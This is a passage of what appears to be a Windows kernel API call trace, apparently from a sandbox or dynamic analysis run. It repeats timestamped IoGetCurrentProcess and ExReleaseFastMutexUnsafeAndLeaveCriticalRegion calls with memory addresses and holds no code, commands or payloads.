(FastMutex=0xffffe000001652b0) [0121.622] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.622] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.622] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.659] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.681] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.681] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.681] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.710] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.727] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.727] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.727] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.743] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.743] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.743] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.759] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.789] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.804] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.805] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.805] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.808] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.808] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.808] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.825] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.825] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.826] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.826] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.826] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.827] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.827] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.827] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.827] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.827] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.894] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.921] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.951] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.966] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.982] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.998] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.998] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.998] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.015] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.039] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.073] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.073] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.073] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.101] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.130] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.150] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.151] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.151] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.183] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.183] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.183] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.183] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.183] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.183] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.183] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.183] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.183] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.184] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.184] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.184] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.184] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.184] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.184] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.185] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.185] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.185] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.186] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.186] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.186] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.211] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.211] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.212] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.243] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.273] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.304] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.337] IoGetCurrentProcess () returned 0xffffe000011ff900 [0122.337] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.337] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.296] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.296] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.296] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.298] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.298] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.299] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.333] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.333] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.333] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.396] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.396] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.396] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.426] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.450] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.450] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.450] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.486] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.486] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.486] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.747] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.771] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.798] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.798] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.798] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.816] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.845] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.845] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.845] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.861] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.861] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.861] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.876] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.877] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.877] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.893] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.924] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.924] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.924] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.941] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.971] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.988] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.017] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.017] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.017] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.033] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.033] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.033] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.049] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.049] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.049] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.078] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.078] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.078] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.094] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.110] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.110] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.110] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.126] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.141] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.141] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.141] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.144] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.208] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.259] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.289] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.315] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.330] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.348] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.379] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.408] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.408] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.408] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.424] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.424] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.424] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.439] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.439] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.439] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.456] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.482] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.482] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.482] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.500] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.517] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.517] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.517] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.534] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.551] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.552] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.552] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.552] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.553] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.553] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.554] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.554] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.634] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.664] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.664] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.664] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.683] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.683] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.683] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.711] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.711] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.711] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.727] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.727] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.727] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.743] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.743] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.743] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.759] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.779] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.798] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.799] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.799] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.825] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.861] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.861] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.861] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.882] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.883] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.883] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.911] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.926] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.926] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.927] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.927] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.928] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.928] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.929] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.929] 